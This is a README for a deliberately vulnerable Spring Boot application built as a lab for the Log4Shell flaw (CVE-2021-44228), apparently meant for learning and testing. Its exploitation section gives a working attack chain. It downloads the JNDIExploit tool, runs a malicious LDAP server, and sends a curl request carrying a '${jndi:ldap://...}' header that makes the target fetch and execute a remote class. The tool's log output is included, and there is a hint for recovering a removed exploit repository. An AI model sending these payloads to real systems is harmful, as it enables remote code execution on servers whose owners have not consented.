# Log4Shell sample vulnerable application (CVE-2021-44228)

This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day/).

It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1.8.0_181.

![](./screenshot.png)

## Running the application

Run it:

```bash
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
```

Build it yourself (you don't need any Java-related tooling):

```bash
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
```

## Exploitation steps

*Note: This is highly inspired from the original [LunaSec advisory](https://www.lunasec.io/docs/blog/log4j-zero-day/). **Run at your own risk, preferably in a VM in a sandbox environment**.*

**Update (Dec 13th)**: *Github has [decided to take down the JNDIExploit repository](https://twitter.com/christophetd/status/1470287687265529861). Thanks to Github, you now do not have the tooling anymore to reproduce this vulnerability locally. Don't worry, attackers have the exploit at hand and are actively using it. Thank you, Github. Although I will refrain from linking to it to avoid this repository being taken down by Github, note that - as a general information - appending `web.archive.org` in front of any URL that has been taken down and archived by the Wayback Machine can at times be helpful.*

**Update (Dec 13th)**: In case this repository gets taken down as well, I published it on [GitLab](https://gitlab.com/christophetd/log4shell-vulnerable-app) as well.

* Use [JNDIExploit](https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) to spin up a malicious LDAP server

```bash
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
```

* Then, trigger the exploit using:

```bash
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
```

* Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload:

```
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
```

* To confirm that the code execution was successful, notice that the file `/tmp/pwned.txt` was created in the container running the vulnerable application:

```
$ docker exec vulnerable-app ls /tmp
...
pwned
...
```

## Reference

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

## Contributors

[@christophetd](https://twitter.com/christophetd)
[@rayhan0x01](https://twitter.com/rayhan0x01)